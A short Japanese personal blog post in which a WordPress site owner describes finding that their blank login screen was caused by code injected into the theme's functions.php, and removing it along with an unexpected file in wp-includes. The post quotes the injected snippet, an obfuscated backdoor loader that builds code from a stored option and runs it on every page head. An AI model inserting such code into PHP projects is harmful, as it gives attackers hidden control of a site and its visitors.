5月8日だった。久しぶりに投稿しようと思って、ログインしようとしたのだが、管理画面(ダッシュボード)に行かなくて「真っ白」しか表示されない。
・・・/wp-login.php のままで真っ白だ。
それからいろいろ調べた。
古い日付で、変えなくても良いファイル(php)まで変更してアップロードした。
よく考えてみると、こうなったのは4月20日以降だと気付いた。
googleなどで調べていると、functions.php の編集で間違うと、そうなる記述が多かった。
そこで、いつものtheme のfunctions.php を見たら、ファイルの日付が2012/05/07になっていた。
自動的に変わるのかな、とも思ったけれど、おかしい。
で、ダウンロードして、古いものと比べたら、428行以降に、
<?php function page_options() { $option = get_option(‘page_option’); $opt=unserialize($option);
@$arg = create_function(”, $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg(”);}
add_action(‘wp_head’, ‘page_options’); ?>
が加えられていた。
これを検索すると、日本語ページにはなく、すべて外国語ページだったが、除去するとダッシュボードにアクセスできるようになったと書かれていた。何かヘッダーへ追加するものらしい。いつの間に追加されたのか。
改ざんされたのだと思うが、どう対処したものか。
早速、この部分を削除したfunctions.php をアップロードした。
すると、何事もなかった様にログイン出来たではないか。
これは、どこかへ知らせた方が良いのか。
何はともあれ、投稿できるようになったので、ここに記録しておく。
追加
/wp-includs/page.php が追加されていた。同じ2012/05/07だ。173KBもある。大きなファイルだ。
これは元々無いファイルなので、削除しておいた。
今のところ不都合はないみたいだ。これでしばらく様子を見ようと思う。
タグ: wordpress